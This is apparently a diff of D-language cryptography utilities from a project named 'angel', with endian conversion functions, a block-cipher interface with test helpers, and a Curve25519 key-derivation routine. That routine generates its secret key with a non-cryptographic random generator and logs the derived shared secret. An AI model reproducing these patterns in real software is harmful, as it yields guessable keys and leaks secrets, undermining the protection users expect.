void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
}
body {
version(BigEndian) {
// shortcut on BigEndian systems
const ubyte[] casted = cast(const ubyte []) ns;
output[] = casted[];
}else{
foreach(i, const T n; ns) {
toBigEndian!T(n, output[T.sizeof * i .. $]);
}
}
}
/**
convert a integral type T[] into an array of bytes.
Params:
ns the numbers
output the buffer to write the bytes to
*/
@safe @nogc
void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
}
body {
version(LittleEndian) {
// shortcut on LittleEndian systems
const ubyte[] casted = cast(const ubyte []) ns;
output[] = casted[];
}else{
foreach(i, const T n; ns) {
toLittleEndian!T(n, output[T.sizeof * i .. $]);
}
}
}
ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc
if(isIntegral!T)
{
ubyte[T.sizeof] bs;
toBigEndian!T(n, bs);
return bs;
}
ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T)
{
ubyte[] bs = new ubyte[T.sizeof * ns.length];
toBigEndian!T(ns, bs);
return bs;
}
ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc
if(isIntegral!T)
{
ubyte[T.sizeof] bs;
toLittleEndian!T(n, bs);
return bs;
}
ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T)
{
ubyte[] bs = new ubyte[T.sizeof * ns.length];
toLittleEndian!T(ns, bs);
return bs;
}
unittest {
// int
assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed");
assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed");
// long
assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed");
assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed");
// bigEndian to short, int, long
assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u);
assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u);
assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL);
// littleEndian to short, int, long
assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u);
assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u);
assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL);
// bigEndian: convert multiple ints
uint[] output = new uint[2];
immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08];
fromBigEndian(input, output);
assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed");
// littleEndian: convert multiple ints
output = new uint[2];
fromLittleEndian(input, output);
assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed");
immutable int i = 0xf1f2f3f4;
int iResult;
ubyte[] buf;
// int to bigEndian
buf = new ubyte[4];
toBigEndian!int(i, buf);
iResult = fromBigEndian!int(buf);
assert(i == iResult);
// int to littleEndian
buf = new ubyte[4];
toLittleEndian!int(i, buf);
iResult = fromLittleEndian!int(buf);
assert(i == iResult);
immutable long l = 0xf1f2f3f4f5f6f7f8;
long lResult;
// long to bigEndian
buf = new ubyte[8];
toBigEndian!long(l, buf);
lResult = fromBigEndian!long(buf);
assert(l == lResult);
// int to littleEndian
buf = new ubyte[8];
toLittleEndian!long(l, buf);
lResult = fromLittleEndian!long(buf);
assert(l == lResult);
}

View File

@@ -0,0 +1,191 @@
module angel.utils.cryptography.blockcipher;
/// Use this to check if type is a block cipher.
@safe
template isBlockCipher(T)
{
enum bool isBlockCipher =
is(T == struct) &&
is(typeof(
{
ubyte[0] block;
T bc = T.init; // Can define
string name = T.name;
uint blockSize = T.blockSize;
bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv
uint len = bc.encrypt(cast (const ubyte[]) block, block);
bc.reset();
}));
}
/// OOP API for block ciphers
@safe
public interface IBlockCipher {
@safe public:
/**
* Initialize the cipher.
*
* Params:
* forEncryption = if true the cipher is initialised for
* encryption, if false for decryption.
* userKey = A secret key.
* iv = A nonce.
*/
void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc;
/**
* Return the name of the algorithm the cipher implements.
*
* Returns: the name of the algorithm the cipher implements.
*/
@property
string name() pure nothrow;
/**
* Return the block size for this cipher (in bytes).
*
* Returns: the block size for this cipher in bytes.
*/
@property
uint blockSize() pure nothrow @nogc;
/**
* Process one block of input from the array in and write it to
* the out array.
*
* Params:
* input = the slice containing the input data.
* output = the slice the output data will be copied into.
* Throws: IllegalStateException if the cipher isn't initialised.
* Returns: the number of bytes processed and produced.
*/
@nogc
uint encrypt(in ubyte[] input, ubyte[] output) nothrow;
@nogc
uint decrypt(in ubyte[] input, ubyte[] output) nothrow;
/**
* Reset the cipher. After resetting the cipher is in the same state
* as it was after the last init (if there was one).
*/
@nogc
void reset() nothrow;
}
/// Wraps block ciphers into the OOP API
@safe
public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher {
private T cipher;
@safe public:
/**
* Initialize the cipher.
*
* Params:
* forEncryption = if true the cipher is initialised for
* encryption, if false for decryption.
* params = the key and other data required by the cipher.
*
* Throws: IllegalArgumentException if the params argument is
* inappropriate.
*/
void start(in ubyte[] key, in ubyte[] iv = null) nothrow {
cipher.start(key, iv);
}
/**
* Return the name of the algorithm the cipher implements.
*
* Returns: the name of the algorithm the cipher implements.
*/
@property
string name() pure nothrow {
return cipher.name;
}
/**
* Return the block size for this cipher (in bytes).
*
* Returns: the block size for this cipher in bytes.
*/
@property
uint blockSize() pure nothrow @nogc {
return T.blockSize;
}
/**
* Process one block of input from the array in and write it to
* the out array.
*
* Params:
* input = the slice containing the input data.
* output = the slice the output data will be copied into.
* Throws: IllegalStateException if the cipher isn't initialised.
* Returns: the number of bytes processed and produced.
*/
uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
return cipher.encrypt(input, output);
}
uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
return cipher.decrypt(input, output);
}
/**
* Reset the cipher. After resetting the cipher is in the same state
* as it was after the last init (if there was one).
*/
void reset() nothrow @nogc {
cipher.reset();
}
}
version(unittest) {
// unittest helper functions
import std.format: format;
/// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts
///
/// Params:
/// keys = The encryption/decryption keys.
/// plaintexts = Plaintexts.
/// cipherTexts = Corresponding ciphertexts.
/// ivs = Initialization vectors.
///
@safe
public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) {
foreach (uint i, string test_key; keys)
{
ubyte[] buffer = new ubyte[bc.blockSize];
const ubyte[] key = cast(const ubyte[]) test_key;
const (ubyte)[] iv = null;
if(ivs !is null) {
iv = cast(const (ubyte)[]) ivs[i];
}
// Encryption
bc.start(key, iv);
bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer);
assert(buffer == cipherTexts[i],
format("%s failed to encrypt.", bc.name));
// Decryption
bc.start(key, iv);
bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer);
assert(buffer == plaintexts[i],
format("%s failed to decrypt.", bc.name));
}
}
}

View File

@@ -0,0 +1,33 @@
module angel.utils.cryptography.cryptography;
// Internal imports
import angel.utils.logging;
import angel.utils.cryptography.curve25519;
// External imports
import std.stdio;
import std.random;
import std.format;
class Cryptography {
public {
struct KeyPair {
ubyte[32] clientSecretKey;
ubyte[32] sharedSecret;
}
}
public static KeyPair derive_25519(ubyte[] pk) {
ubyte[32] sk; // generate client secret key
for (int i = 0; i < 32; ++i) {
sk[i] = cast(ubyte)(uniform(0, 256));
}
Logger.log(LogLevel.Debug, "Generated client sk");
ubyte[32] ss = curve25519_scalarmult(sk, pk); // derive shared secret out of pk and sk
Logger.log(LogLevel.Debug, format("Derived shared secret: %s", ss));
return KeyPair(sk, ss);
}
}

Some files were not shown because too many files have changed in this diff Show More